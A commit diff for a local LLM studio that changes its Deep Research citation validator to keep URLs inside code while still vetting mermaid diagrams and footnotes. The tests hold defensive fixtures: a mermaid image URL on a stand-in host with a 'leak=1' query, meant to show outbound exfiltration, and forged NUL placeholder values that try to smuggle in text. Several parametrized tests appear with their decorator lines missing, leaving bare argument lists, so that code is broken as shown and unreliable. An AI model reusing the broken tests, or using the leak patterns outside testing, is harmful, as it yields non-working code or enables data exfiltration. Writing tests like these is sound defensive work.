Skip to content

Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.

Studio: Stop Deep Research deleting links from code in its report (#10814)

Nilay8aef4f9c94ba
diff --git a/pyproject.toml b/pyproject.toml
index e2950f256e0..c39ebb92de9 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -171,6 +171,7 @@ studio = [
"pymupdf==1.27.2.3",
"pymupdf4llm==0.3.4",
"python-docx==1.2.0",
+ "markdown-it-py>=3.0",
]
triton = [
diff --git a/studio/backend/core/research/citations.py b/studio/backend/core/research/citations.py
index 560dac0c343..a4213f68c23 100644
--- a/studio/backend/core/research/citations.py
+++ b/studio/backend/core/research/citations.py
@@ -12,6 +12,9 @@ from __future__ import annotations
import re
+from markdown_it import MarkdownIt
+from markdown_it.rules_inline.backticks import backtick
+
from core.research.redaction import _escape_link_destination
@@ -27,7 +30,24 @@ _SOURCES_HEADING = re.compile(
)
_NUMBERED_CITATION = re.compile(r"(?<!\^)\[(\d+)]")
_AUTOLINK = re.compile(r"<(https?://[^>\s]+)>")
-_RAW_URL = re.compile(r"https?://[^\s<>]+")
+# \x00 stops a URL glued to masked code from swallowing its placeholder.
+_RAW_URL = re.compile(r"https?://[^\s<>\x00]+")
+# Beside the pattern that restores them: a kind missing there leaves a raw sentinel in the
+# report. [0-9] not \d, which also matches other scripts' digits.
+_PLACEHOLDER_KINDS = ("research-code", "research-citation")
+_PLACEHOLDER = re.compile(rf"\x00(?:{'|'.join(_PLACEHOLDER_KINDS)})-[0-9]+\x00")
+# For a pass that deletes prose but must carry the code through.
+_CODE_PLACEHOLDER = re.compile(r"\x00research-code-[0-9]+\x00")
+# remark-gfm renders the indented lines under a footnote definition as prose, where a bare URL
+# becomes a live link; the CommonMark parse below calls them code. Validate rather than mask.
+_FOOTNOTE_DEFINITION = re.compile(r" {0,3}\[\^[^\]\s]+\]:")
+# A mermaid fence is not shown as code, it is executed into a diagram, and mermaid's image shape
+# (`A@{ img: "..." }`, mermaid >= 11.3) puts its URL straight on an SVG image the browser then
+# fetches, outside the markdown image pipeline that would have vetted it. So the URLs inside one
+# stay subject to the catalog, exactly as before code was masked at all. Case-insensitive while
+# the renderer's own gate is not: over-matching costs a validated diagram, under-matching leaves
+# a report able to name any URL it likes.
+_MERMAID_FENCE = re.compile(r"mermaid\b", re.IGNORECASE)
def _citation_title(source: dict, fallback: str) -> str:
@@ -64,13 +84,158 @@ def _trim_url_tail(raw: str) -> str:
return raw[:end]
-def _validate_report_sources(report: str, sources: list[dict]) -> str:
- """Canonicalize citations and remove model-authored source lists."""
+def _placeholder(kind: str, index: int) -> str:
+ """Sentinel for text a validator must move but not rewrite.
+
+ NUL delimited: ``_mask_code`` normalizes away any the model wrote, so one cannot reach a
+ report and be mistaken for a token.
+ """
+ return f"\x00{kind}-{index}\x00"
+
+
+def _record_code_span(state, silent: bool) -> bool:
+ start = state.pos
+ count = len(state.tokens)
+ matched = backtick(state, silent)
+ if (
+ matched
+ and not silent
+ # The block's own source only: the image rule re-enters with alt text, where these
+ # offsets address the wrong string. get() records nothing rather than raising.
+ and state.src is state.env.get("code_source")
+ and len(state.tokens) > count
+ and state.tokens[-1].type == "code_inline"
+ ):
+ state.env["code_spans"].append((start, state.pos))
+ return matched
+
+
+# Block maps keep the original lines, indentation and container markers included, so inline
+# source is parsed separately to keep code offsets on those same lines.
+# Tables enabled to match the renderer: otherwise a row is one paragraph line and backticks in
+# two cells pair into a span across the boundary, unvalidating text that still renders as text.
+_CODE_MARKDOWN = MarkdownIt("commonmark").enable("table").disable("inline")
+_CODE_MARKDOWN.inline.ruler.at("backticks", _record_code_span)
+
+
+def _footnote_content_lines(lines: list[str]) -> set[int]:
+ """Line numbers the renderer reads as footnote content, whatever this parser calls them.
+
+ Loose on purpose: over-collecting only costs a masked block, which errs towards validating.
+ """
+ covered = set()
+ inside = False
+ for number, line in enumerate(lines):
+ if _FOOTNOTE_DEFINITION.match(line):
+ inside = True
+ elif not inside:
+ continue
+ elif not line.strip():
+ covered.add(number)
+ elif line.startswith((" ", "\t")):
+ covered.add(number)
+ else:
+ inside = False
+ return covered
+
+
+def _mask_code(text: str, placeholders: dict[str, str]) -> str:
+ # CommonMark maps NUL to U+FFFD, so the renderer already shows it that way, and doing it
+ # first stops a report spelling a token and being handed another region's text. One code
+ # point either way, so the offsets below are unaffected.
+ text = text.replace("\x00", "\ufffd")
+ offsets = [0, *(match.end() for match in re.finditer(r"\r\n?|\n", text))]
+ if offsets[-1] != len(text):
+ offsets.append(len(text))
+ lines = [text[offsets[number] : offsets[number + 1]] for number in range(len(offsets) - 1)]
+ footnote_content = _footnote_content_lines(lines)
+ spans = []
+
+ def record_inline(start: int, end: int) -> None:
+ source = text[start:end]
+ env = {"code_source": source, "code_spans": []}
+ _CODE_MARKDOWN.inline.parse(source, _CODE_MARKDOWN, env, [])
+ spans.extend((start + first, start + last) for first, last in env["code_spans"])
+
+ def record_row(start: int, end: int) -> None:
+ """Cell by cell, as the renderer splits a row before parsing inline.
+
+ Every cell token carries the whole row's map, so cutting at unescaped pipes is what
+ keeps a span inside one cell.
+ """
+ cell = start
+ escaped = False
+ for index in range(start, end):
+ if escaped:
+ escaped = False
+ elif text[index] == "\\":
+ escaped = True
+ elif text[index] == "|":
+ record_inline(cell, index)
+ cell = index + 1
+ record_inline(cell, end)
+
+ in_table = False
+ for token in _CODE_MARKDOWN.parse(text):
+ if token.type == "table_open":
+ in_table = True
+ elif token.type == "table_close":
+ in_table = False
+ if token.map is None:
+ continue
+ # Mask only what the renderer shows as code: an indented block under a footnote
+ # definition is prose there, and a mermaid fence is an executed diagram.
+ if token.type == "code_block" and token.map[0] in footnote_content:
+ continue
+ if token.type == "fence" and _MERMAID_FENCE.match((token.info or "").strip()):
+ continue
+ start, end = (offsets[line] for line in token.map)
+ if token.type in {"fence", "code_block"}:
+ # Keep the following heading on its own line while the block is masked.
+ end = start + len(text[start:end].rstrip("\r\n"))
+ spans.append((start, end))
+ elif token.type == "tr_open":
+ record_row(start, end)
+ elif token.type == "inline" and not in_table:
+ record_inline(start, end)
+ pieces = []
+ cursor = 0
+ for start, end in sorted(spans):
+ pieces.append(text[cursor:start])
+ token = _placeholder("research-code", len(placeholders))
+ placeholders[token] = text[start:end]
+ pieces.append(token)
+ cursor = end
+ pieces.append(text[cursor:])
+ return "".join(pieces)
+
+
+def _restore_placeholders(text: str, placeholders: dict[str, str]) -> str:
+ """Substitute every token in one pass.
+
+ A replace() per token rescans the report once per span, costing O(len(report) x spans); one
+ sub() is linear, and never rescans restored code for a later token.
+ """
+ if not placeholders:
+ return text
+
+ def restore(match: re.Match) -> str:
+ token = match.group(0)
+ value = placeholders.get(token)
+ if value is not None:
+ return value
+ # Unreachable while _mask_code normalizes NUL away. If a later path ever skips that,
+ # drop the delimiters rather than deliver a NUL.
+ return token.replace("\x00", "\ufffd")
+
+ return _PLACEHOLDER.sub(restore, text)
+
+
+def _validate_masked_sources(report: str, sources: list[dict], placeholders: dict[str, str]) -> str:
source_by_url = {
str(source.get("url") or ""): source for source in sources if source.get("url")
}
source_urls = list(source_by_url)
- placeholders: dict[str, str] = {}
heading = _SOURCES_HEADING.search(report)
if heading:
@@ -81,7 +246,7 @@ def _validate_report_sources(report: str, sources: list[dict]) -> str:
if source is None:
return None
title = _citation_title(source, url)
- token = f"\x00research-citation-{len(placeholders)}\x00"
+ token = _placeholder("research-citation", len(placeholders))
placeholders[token] = f"[{title}]({_escape_link_destination(url)})"
return token
@@ -171,11 +336,16 @@ def _validate_report_sources(report: str, sources: list[dict]) -> str:
validated = _AUTOLINK.sub(replace_autolink, validated)
validated = _NUMBERED_CITATION.sub(replace_number, validated)
validated = _RAW_URL.sub(replace_raw_url, validated)
- for token, link in placeholders.items():
- validated = validated.replace(token, link)
return validated.strip()
+def _validate_report_sources(report: str, sources: list[dict]) -> str:
+ """Canonicalize citations and remove model-authored source lists."""
+ placeholders: dict[str, str] = {}
+ validated = _validate_masked_sources(_mask_code(report, placeholders), sources, placeholders)
+ return _restore_placeholders(validated, placeholders)
+
+
def _document_source_citation(source: dict) -> str:
filename = str(source.get("filename") or "Document")
if source.get("page") is not None:
@@ -192,17 +362,36 @@ def _allowed_document_citations(sources: list[dict]) -> set[str]:
return allowed
-def _validate_report_document_sources(report: str, sources: list[dict]) -> str:
+def _validate_masked_document_sources(
+ report: str, sources: list[dict], placeholders: dict[str, str]
+) -> str:
allowed = _allowed_document_citations(sources)
- # Tokenize valid citations first so a "]" inside a filename ("budget [final].pdf") does not
- # truncate them, then strip the invalid ones and restore the valid.
+
+ def keep_if_allowed(match: re.Match) -> str:
+ # Judge it as the model wrote it: the pattern already spans a "]" inside a filename
+ # ("budget [final].pdf"), and backticks in one were masked before this pass ran.
+ citation = _restore_placeholders(match.group(0), placeholders)
+ if citation in allowed:
+ return match.group(0)
+ # An unsupported citation can reach across code ("[Document: `cmd` ]"); dropping it
+ # must not take the code with it.
+ return "".join(_CODE_PLACEHOLDER.findall(match.group(0)))
+
+ return _DOCUMENT_CITATION.sub(keep_if_allowed, report)
+
+
+def _validate_report_document_sources(report: str, sources: list[dict]) -> str:
+ placeholders: dict[str, str] = {}
+ validated = _validate_masked_document_sources(
+ _mask_code(report, placeholders), sources, placeholders
+ )
+ return _restore_placeholders(validated, placeholders)
+
+
+def _validate_report(report: str, sources: list[dict], document_sources: list[dict]) -> str:
+ # Mask the draft once: removing a URL-only line can split a paragraph, and reparsing
+ # would then read an indented citation as code.
placeholders: dict[str, str] = {}
- for index, citation in enumerate(sorted(allowed, key = len, reverse = True)):
- if citation in report:
- token = f"\x00document-citation-{index}\x00"
- placeholders[token] = citation
- report = report.replace(citation, token)
- report = _DOCUMENT_CITATION.sub("", report)
- for token, citation in placeholders.items():
- report = report.replace(token, citation)
- return report
+ validated = _validate_masked_sources(_mask_code(report, placeholders), sources, placeholders)
+ validated = _validate_masked_document_sources(validated, document_sources, placeholders)
+ return _restore_placeholders(validated, placeholders)
diff --git a/studio/backend/core/research_runs.py b/studio/backend/core/research_runs.py
index 644fac2f7ba..30041bd2b8c 100644
--- a/studio/backend/core/research_runs.py
+++ b/studio/backend/core/research_runs.py
@@ -46,8 +46,7 @@ from core.research.citations import (
_allowed_document_citations,
_citation_title,
_document_source_citation,
- _validate_report_document_sources,
- _validate_report_sources,
+ _validate_report,
)
from core.research.redaction import _sanitize_public_query, _shield_untrusted
from core.research.prompts import (
@@ -2865,8 +2864,7 @@ class ResearchSupervisor:
catalogs do not back, and a model that ran out of budget is exactly the one
liable to pad with both, so raw length is not what the drafts should be judged
on. Used only to compare them; whichever wins is stored as the model wrote it."""
- validated = _validate_report_sources(draft, sources)
- return _validate_report_document_sources(validated, document_sources)
+ return _validate_report(draft, sources, document_sources)
if _synthesis_needs_recovery(report, synthesis_finish_reason):
recovery_reason = (
@@ -2952,8 +2950,7 @@ class ResearchSupervisor:
requested_max_tokens = requested_max_tokens,
inference = _run_inference_request(run),
).rstrip(".")
- report = _validate_report_sources(report, sources)
- report = _validate_report_document_sources(report, document_sources)
+ report = _validate_report(report, sources, document_sources)
if not report:
raise ValueError(
"Local model returned no safely identifiable final report. Disable thinking or "
diff --git a/studio/backend/requirements/studio.txt b/studio/backend/requirements/studio.txt
index 98871316364..d47c10e5dd6 100644
--- a/studio/backend/requirements/studio.txt
+++ b/studio/backend/requirements/studio.txt
@@ -59,3 +59,5 @@ pymupdf==1.27.2.3
# lockstep 1.27.x line makes it a hard dep we do not need for to_markdown().
pymupdf4llm==0.3.4
python-docx==1.2.0
+
+markdown-it-py>=3.0
diff --git a/studio/backend/tests/test_research_runs_hardening.py b/studio/backend/tests/test_research_runs_hardening.py
index 5856b701c43..892dc6ced50 100644
--- a/studio/backend/tests/test_research_runs_hardening.py
+++ b/studio/backend/tests/test_research_runs_hardening.py
@@ -20,7 +20,14 @@ from fastapi import HTTPException
from core import research_runs
from core.research.citations import (
+ _PLACEHOLDER,
+ _PLACEHOLDER_KINDS,
_citation_title,
+ _mask_code,
+ _restore_placeholders,
+ _validate_masked_document_sources,
+ _validate_masked_sources,
+ _validate_report,
_validate_report_document_sources,
_validate_report_sources,
)
@@ -1146,6 +1153,66 @@ def test_dropped_raw_url_does_not_unbalance_prose():
assert out == "Claim () here."
+def test_code_keeps_its_urls_and_brackets():
+ sources = [{"url": "https://a.com", "title": "A"}, {"url": "https://b.com", "title": "B"}]
+ code = (
+ "```bash\n"
+ "git clone https://github.com/unslothai/unsloth\n"
+ "pip install torch --index-url https://download.pytorch.org/whl/cu121\n"
+ "curl http://localhost:8888/api/health\n"
+ "```\n"
+ "~~~python\n"
+ 'client = OpenAI(base_url = "http://localhost:8888/v1")\n'
+ "print(x.shape[1], [2](https://nope.com))\n"
+ "~~~"
+ )
+ report = (
+ f"{code}\n\n"
+ 'Run `sys.argv[1]` or ``OpenAI(base_url="http://localhost:8888/v1")`` '
+ "as shown [1], not https://nope.com/x."
+ )
+ out = _validate_report_sources(report, sources)
+ assert out == (
+ f"{code}\n\n"
+ 'Run `sys.argv[1]` or ``OpenAI(base_url="http://localhost:8888/v1")`` '
+ "as shown [A](https://a.com), not ."
+ )
+
+
+def test_unterminated_code_fence_keeps_its_urls():
+ report = "Install it:\n\n```bash\npip install torch --index-url https://download.pytorch.org/whl/cu121"
+ assert _validate_report_sources(report, []) == report
+
+
+def test_sources_heading_inside_code_does_not_cut_the_report():
+ code = "```markdown\n## Sources\n- https://example.com\n```"
+ report = f"Template:\n\n{code}\n\nMore [1].\n\n## Sources\n- [A](https://a.com)"
+ out = _validate_report_sources(report, [{"url": "https://a.com", "title": "A"}])
+ assert out == f"Template:\n\n{code}\n\nMore [A](https://a.com)."
+
+
+def test_prose_citations_without_code_are_unchanged():
+ sources = [
+ {"url": "https://a.com", "title": "A"},
+ {"url": "https://b.com/x_(y)", "title": "[PDF] B"},
+ ]
+ report = (
+ "## Findings\n\n"
+ "Claim one [1] and two [2], bad [9], footnote [^1].\n"
+ "Linked [label](https://a.com) and [fake](https://nope.example/z).\n"
+ "Auto <https://b.com/x_(y)> and <https://nope.example/q>.\n"
+ "Raw (https://a.com). Raw https://nope.example/r, then https://b.com/x_(y).\n"
+ "\n**Sources**\n- [A](https://a.com)\n"
+ )
+ assert _validate_report_sources(report, sources) == (
+ "## Findings\n\n"
+ "Claim one [A](https://a.com) and two [PDF B](https://b.com/x_(y)), bad [9], footnote [^1].\n"
+ "Linked [A](https://a.com) and fake.\n"
+ "Auto [PDF B](https://b.com/x_(y)) and .\n"
+ "Raw ([A](https://a.com)). Raw , then [PDF B](https://b.com/x_(y))."
+ )
+
+
def _install_probe_backends(monkeypatch, llama, native) -> None:
"""Stand in for the two backend modules _local_model_ready probes, so the check can be
exercised without importing the ML stack. Pass an exception to make a probe raise."""
@@ -3246,3 +3313,331 @@ def test_note_server_address_defers_to_run_server_published_state():
supervisor.note_server_address(("127.0.0.1", 9999))
assert getattr(state, "research_request_host", None) is None
assert supervisor._endpoint() == "http://192.168.1.239:8889/v1/chat/completions"
+
+
+ "code",
+ [
+ " git clone https://github.com/unslothai/unsloth\n print(x[1])",
+ "\tgit clone https://github.com/unslothai/unsloth\n\tprint(x[1])",
+ "1. Install:\n\n ```sh\n git clone https://github.com/unslothai/unsloth\n ```",
+ "- Install:\n\n git clone https://github.com/unslothai/unsloth",
+ ],
+)
+def test_report_preserves_indented_and_list_code(code):
+ report = f"Setup:\n\n{code}\n\nUse this [1], not https://nope.example."
+ out = _validate_report_sources(report, [{"url": "https://a.com", "title": "A"}])
+ assert out == f"Setup:\n\n{code}\n\nUse this [A](https://a.com), not ."
+
+
+def test_report_starting_with_indented_code_keeps_its_indentation():
+ report = " curl https://example.com/api\n\nExplanation."
+ assert _validate_report_sources(report, []) == report
+
+
+def test_indented_paragraph_continuation_is_still_validated():
+ report = "Explanation continues\n at https://nope.example."
+ assert _validate_report_sources(report, []) == "Explanation continues\n at ."
+
+
+def test_multiline_inline_code_keeps_urls_and_brackets():
+ code = "`pip install torch\n--index-url https://download.pytorch.org/whl/cu121`"
+ report = f"Use {code}, then [1]."
+ assert _validate_report_sources(report, [{"url": "https://a.com", "title": "A"}]) == (
+ f"Use {code}, then [A](https://a.com)."
+ )
+
+
+ ("report", "expected"),
+ [
+ ("参见https://a.com的`pip install unsloth`命令。", "参见`pip install unsloth`命令。"),
+ (
+ "Clone https://nope.example/`git clone repo` then build [1].",
+ "Clone `git clone repo` then build [A](https://a.com).",
+ ),
+ ],
+)
+def test_url_glued_to_inline_code_keeps_the_code(report, expected):
+ assert _validate_report_sources(report, [{"url": "https://a.com", "title": "A"}]) == expected
+
+
+def test_literal_escaped_backticks_do_not_hide_prose_urls():
+ report = r"Literal \`https://nope.example\` then [1]."
+ out = _validate_report_sources(report, [{"url": "https://a.com", "title": "A"}])
+ assert "https://nope.example" not in out
+ assert out.endswith("then [A](https://a.com).")
+
+
+def test_unclosed_quote_fence_stops_at_the_quote_boundary():
+ code = "> ```sh\n> curl https://example.com/api"
+ report = f"{code}\n\nOutside https://nope.example and [1]."
+ assert _validate_report_sources(report, [{"url": "https://a.com", "title": "A"}]) == (
+ f"{code}\n\nOutside and [A](https://a.com)."
+ )
+
+
+ "code",
+ [
+ '```python\npattern = "[Document: generated]"\n```',
+ '`pattern = "[Document: generated]"`',
+ ' pattern = "[Document: generated]"',
+ ],
+)
+def test_delivered_report_keeps_document_literals_in_code(code):
+ report = f"Example:\n\n{code}\n\nProse [Document: missing.pdf]."
+ expected = f"Example:\n\n{code}\n\nProse ."
+ assert _validate_report(report, [], []) == expected
+ assert _validate_report_document_sources(_validate_report_sources(report, []), []) == expected
+
+
+ ("report", "expected"),
+ [
+ ("Context\nhttps://nope.example\n [Document: hallucinated]", "Context\n\n "),
+ (
+ "Findings [1]\nhttps://nope.example\n [Document: made-up.pdf, p. 3] supports this.",
+ "Findings [A](https://a.com)\n\n supports this.",
+ ),
+ ],
+)
+def test_removed_url_line_does_not_turn_a_document_citation_into_code(report, expected):
+ assert _validate_report(report, [{"url": "https://a.com", "title": "A"}], []) == expected
+
+
+ ("report", "expected"),
+ [
+ # A report spelling a masking token must not be handed the code that token stands for.
+ (
+ "prose \x00research-code-0\x00 then `real code` [1].",
+ "prose \ufffdresearch-code-0\ufffd then `real code` [A](https://a.com).",
+ ),
+ # Nor may one masked span be rewritten with a later span's text.
+ (
+ "`x = \x00research-code-1\x00` and `second` [1].",
+ "`x = \ufffdresearch-code-1\ufffd` and `second` [A](https://a.com).",
+ ),
+ # The same forgery through the citation and document token names, which predate masking.
+ (
+ "prose \x00research-citation-1\x00 and [1].",
+ "prose \ufffdresearch-citation-1\ufffd and [A](https://a.com).",
+ ),
+ (
+ "prose \x00document-citation-0\x00 and [Document: real.pdf].",
+ "prose \ufffddocument-citation-0\ufffd and [Document: real.pdf].",
+ ),
+ ],
+)
+def test_report_cannot_forge_a_masking_placeholder(report, expected):
+ """CommonMark renders a literal NUL as U+FFFD, so the report is normalized the same way
+ before anything is masked. Without it a report that spells a token gets another region's
+ text substituted into it."""
+ out = _validate_report(
+ report, [{"url": "https://a.com", "title": "A"}], [{"filename": "real.pdf"}]
+ )
+ assert out == expected
+ assert "\x00" not in out
+
+
+def test_restoring_code_does_not_rescan_it_for_later_tokens():
+ """One pass, so a masked span is never searched again once restored."""
+ placeholders: dict[str, str] = {}
+ masked = _mask_code("`a \x00research-code-1\x00 b` and `c`", placeholders)
+ assert len(placeholders) == 2
+ assert (
+ _restore_placeholders(masked, placeholders) == "`a \ufffdresearch-code-1\ufffd b` and `c`"
+ )
+
+
+def test_every_allocated_token_is_one_restoration_recognises():
+ """A kind missing from _PLACEHOLDER_KINDS would leave its raw sentinel in the report, so
+ exercise both producers and check the pattern matches everything they allocate."""
+ placeholders: dict[str, str] = {}
+ report = "Run `curl https://a.com` per [1] and [Document: real.pdf]."
+ masked = _validate_masked_sources(
+ _mask_code(report, placeholders), [{"url": "https://a.com", "title": "A"}], placeholders
+ )
+ masked = _validate_masked_document_sources(masked, [{"filename": "real.pdf"}], placeholders)
+ kinds = {key.strip("\x00").rsplit("-", 1)[0] for key in placeholders}
+ assert kinds == set(_PLACEHOLDER_KINDS)
+ assert all(_PLACEHOLDER.fullmatch(key) for key in placeholders)
+ assert "\x00" not in _restore_placeholders(masked, placeholders)
+
+
+ ("report", "sources", "expected"),
+ [
+ # Backticks in a filename are masked as code before the document pass runs, so an exact
+ # string match against the catalog misses and a real citation gets stripped.
+ (
+ "Text [Document: readme`x`.md] end",
+ [{"filename": "readme`x`.md"}],
+ "Text [Document: readme`x`.md] end",
+ ),
+ (
+ "See [Document: gu`ide`.md, p. 3] and [Document: plain.md].",
+ [{"filename": "gu`ide`.md", "page": 3}, {"filename": "plain.md"}],
+ "See [Document: gu`ide`.md, p. 3] and [Document: plain.md].",
+ ),
+ # A "]" inside the filename must still not truncate the citation.
+ (
+ "Bracket [Document: budget [final].pdf] ok.",
+ [{"filename": "budget [final].pdf"}],
+ "Bracket [Document: budget [final].pdf] ok.",
+ ),
+ # An uncatalogued document is still dropped.
+ (
+ "Plain [Document: real.pdf] and [Document: missing.pdf].",
+ [{"filename": "real.pdf"}],
+ "Plain [Document: real.pdf] and .",
+ ),
+ ],
+)
+def test_document_citation_survives_backticks_in_the_filename(report, sources, expected):
+ assert _validate_report(report, [], sources) == expected
+ assert _validate_report_document_sources(report, sources) == expected
+
+
+def test_restoration_never_leaves_a_nul_in_the_report():
+ """_mask_code normalizes NUL away, so a token with no entry cannot happen. Should a later
+ path restore text that skipped that step, the report must still not carry a NUL."""
+ assert _restore_placeholders(
+ "x \x00research-code-9\x00 y", {"\x00research-code-0\x00": "z"}
+ ) == ("x \ufffdresearch-code-9\ufffd y")
+
+
+ ("report", "expected"),
+ [
+ # remark-gfm reads these indented lines as footnote prose and renders a bare URL there as
+ # a live link, so they must be validated even though CommonMark calls them code.
+ (
+ "Body [^1].\n\n[^1]: note\n\n https://nope.example/leak and [1].",
+ "Body [^1].\n\n[^1]: note\n\n and [A](https://a.com).",
+ ),
+ (
+ "Body [^1].\n\n[^1]: a\n\n - item https://nope.example/x [2]",
+ "Body [^1].\n\n[^1]: a\n\n - item [2]",
+ ),
+ (
+ "Body [^1].\n\n[^1]: a\n\n https://nope.example/deep and [1].",
+ "Body [^1].\n\n[^1]: a\n\n and [A](https://a.com).",
+ ),
+ # An indented fence under a definition is a fence to the renderer and an indented code
+ # block here, so it is validated rather than trusted. That keeps main's behaviour: code
+ # protection does not reach inside a footnote, which is the safe direction to miss in.
+ (
+ "Body [^1].\n\n[^1]: a\n\n ```sh\n curl https://nope.example/y\n ```",
+ "Body [^1].\n\n[^1]: a\n\n ```sh\n curl \n ```",
+ ),
+ # An unindented fence closes the definition, and is masked as usual.
+ (
+ "Body [^1].\n\n[^1]: a\n\n```sh\ncurl https://nope.example/y\n```",
+ "Body [^1].\n\n[^1]: a\n\n```sh\ncurl https://nope.example/y\n```",
+ ),
+ # Once the definition ends, an indented block is code again.
+ (
+ "Body [^1].\n\n[^1]: a\n\nProse.\n\n curl https://nope.example/z",
+ "Body [^1].\n\n[^1]: a\n\nProse.\n\n curl https://nope.example/z",
+ ),
+ ],
+)
+def test_footnote_content_is_validated_not_masked(report, expected):
+ assert _validate_report(report, [{"url": "https://a.com", "title": "A"}], []) == expected
+
+
+ ("report", "expected"),
+ [
+ # Backticks in two different cells are not a code span to the renderer, which splits the
+ # row into cells first, so what sits between them still renders as plain cell text.
+ (
+ "| a | b |\n| - | - |\n| `x | https://nope.example/bad ` |",
+ "| a | b |\n| - | - |\n| `x | ` |",
+ ),
+ (
+ "| a | b |\n| - | - |\n| `x | [Document: fake.pdf] ` |",
+ "| a | b |\n| - | - |\n| `x | ` |",
+ ),
+ # A command in one cell is still code, which is the point of masking at all.
+ (
+ "| cmd | note |\n| --- | --- |\n| `git clone https://nope.example/r` | clone |",
+ "| cmd | note |\n| --- | --- |\n| `git clone https://nope.example/r` | clone |",
+ ),
+ # An escaped pipe stays inside its cell, so a span may span it.
+ (
+ "| a | b |\n| - | - |\n| `grep a \\| wc https://nope.example/c` | x |",
+ "| a | b |\n| - | - |\n| `grep a \\| wc https://nope.example/c` | x |",
+ ),
+ ],
+)
+def test_table_cells_are_validated_per_cell(report, expected):
+ assert _validate_report(report, [], []) == expected
+
+
+ ("report", "expected"),
+ [
+ # mermaid >= 11.3 puts an image shape's URL on an SVG image the browser fetches, outside
+ # the markdown image pipeline, so an uncatalogued one in a report is an outbound request
+ # carrying whatever the model was willing to put in it.
+ (
+ '```mermaid\nflowchart TD\n A@{ img: "https://nope.example/x?leak=1" }\n```',
+ '```mermaid\nflowchart TD\n A@{ img: " }\n```',
+ ),
+ # A tilde fence reaches the renderer as mermaid too.
+ (
+ '~~~mermaid\nflowchart TD\n A@{ img: "https://nope.example/y" }\n~~~',
+ '~~~mermaid\nflowchart TD\n A@{ img: " }\n~~~',
+ ),
+ # click directives are the other way a diagram names a URL.
+ (
+ '```mermaid\nflowchart TD\n A-->B\n click A "https://nope.example/c"\n```',
+ '```mermaid\nflowchart TD\n A-->B\n click A "\n```',
+ ),
+ # Any other language is inert code and keeps its URL, which is the PR's whole point.
+ (
+ "```bash\ncurl https://nope.example/keep\n```",
+ "```bash\ncurl https://nope.example/keep\n```",
+ ),
+ # `mermaid\\b`, matching the renderer's own gate: mermaidx is not mermaid.
+ (
+ "```mermaidx\ncurl https://nope.example/keep\n```",
+ "```mermaidx\ncurl https://nope.example/keep\n```",
+ ),
+ ],
+)
+def test_mermaid_fences_are_validated_not_masked(report, expected):
+ """A mermaid fence is executed into a diagram rather than shown as code, so it stays subject
+ to the catalog. That is what main did before any code was masked, so nothing regresses."""
+ assert _validate_report(report, [], []) == expected
+
+
+ "report",
+ [
+ "Prose [Document: `git clone https://nope.example/r` ] end.",
+ "Prose [Document: oops `keepme` ] end.",
+ ],
+)
+def test_dropping_an_unsupported_document_citation_keeps_its_code(report):
+ """The citation pattern can reach across a code span. Removing the citation must not remove
+ the code, which is the one thing this module promises not to touch."""
+ out = _validate_report(report, [], [{"filename": "real.pdf"}])
+ assert "[Document:" not in out
+ assert out.count("`") == 2
+ assert out == "Prose " + report[report.index("`") : report.rindex("`") + 1] + " end."
+
+
+def test_restoring_many_code_spans_stays_linear():
+ """A replace() per token rescans the whole report once per span. Guard the single pass so a
+ code-heavy report cannot go quadratic on the event loop."""
+ placeholders = {f"\x00research-code-{i}\x00": f"`c{i}`" for i in range(2000)}
+ text = "x" * 200_000 + "".join(placeholders)
+ start = time.perf_counter()
+ restored = _restore_placeholders(text, placeholders)
+ elapsed = time.perf_counter() - start
+ assert restored == "x" * 200_000 + "".join(placeholders.values())
+ assert elapsed < 2.0, f"restoration took {elapsed:.1f}s for 2000 spans in a 200KB report"
diff --git a/studio/backend/tests/test_research_runs_storage.py b/studio/backend/tests/test_research_runs_storage.py
index 13087e948b7..fc288596e2e 100644
--- a/studio/backend/tests/test_research_runs_storage.py
+++ b/studio/backend/tests/test_research_runs_storage.py
@@ -378,13 +378,14 @@ def test_report_is_recovered_from_substantial_synthesis_reasoning():
def test_document_citations_are_restricted_to_persisted_sources():
from core import research_runs as worker
+ from core.research.citations import _validate_report_document_sources
report = (
"Supported [Document: private.pdf, p. 2]. "
"Fabricated [Document: invented.pdf, p. 9] and "
"[Document: multiline.pdf,\np. 3]."
)
- validated = worker._validate_report_document_sources(
+ validated = _validate_report_document_sources(
report,
[{"filename": "private.pdf", "page": 2}],
)
@@ -1155,13 +1156,13 @@ def test_partial_report_is_persisted_and_emits_an_event(research_home):
def test_report_citations_are_limited_to_gathered_sources():
- from core.research_runs import _validate_report_sources
+ from core.research import citations
report = (
"Supported [claim](https://example.com/source) and "
"invented [claim](https://invalid.example/guess)."
)
- validated = _validate_report_sources(
+ validated = citations._validate_report_sources(
report,
[
{
@@ -1176,24 +1177,24 @@ def test_report_citations_are_limited_to_gathered_sources():
def test_report_citations_preserve_balanced_parentheses_in_urls():
- from core.research_runs import _validate_report_sources
+ from core.research import citations
url = "https://en.wikipedia.org/wiki/Function_(mathematics)"
- validated = _validate_report_sources(
+ validated = citations._validate_report_sources(
f"Supported [generic label]({url}).",
[{"url": url, "title": "Function (mathematics)"}],
)
assert f"[Function (mathematics)]({url})" in validated
assert (
- _validate_report_sources(
+ citations._validate_report_sources(
f'With title [generic label]({url} "reference page").',
[{"url": url, "title": "Function (mathematics)"}],
)
== f"With title [Function (mathematics)]({url})."
)
assert (
- _validate_report_sources(
+ citations._validate_report_sources(
f"Malformed [generic label]({url}",
[{"url": url, "title": "Function (mathematics)"}],
)
@@ -1202,13 +1203,13 @@ def test_report_citations_preserve_balanced_parentheses_in_urls():
def test_report_citations_use_canonical_titles_without_model_sources_section():
- from core.research_runs import _validate_report_sources
+ from core.research import citations
report = (
"A supported claim [generic source](https://example.com/a).\n\n"
"## Sources\n\n- [Duplicate](https://example.com/a)"
)
- validated = _validate_report_sources(
+ validated = citations._validate_report_sources(
report,
[
{"url": "https://example.com/a", "title": "Primary Report"},
@@ -1223,13 +1224,13 @@ def test_report_citations_use_canonical_titles_without_model_sources_section():
def test_report_citations_normalize_numbered_bare_and_autolink_styles():
- from core.research_runs import _validate_report_sources
+ from core.research import citations
sources = [
{"url": "https://example.com/a", "title": "Primary Report"},
{"url": "https://example.com/b", "title": "Supporting Data"},
]
- validated = _validate_report_sources(
+ validated = citations._validate_report_sources(
"Numbered [1], bare https://example.com/b, and "
"automatic <https://example.com/a>. Unknown https://invalid.example/x.",
sources,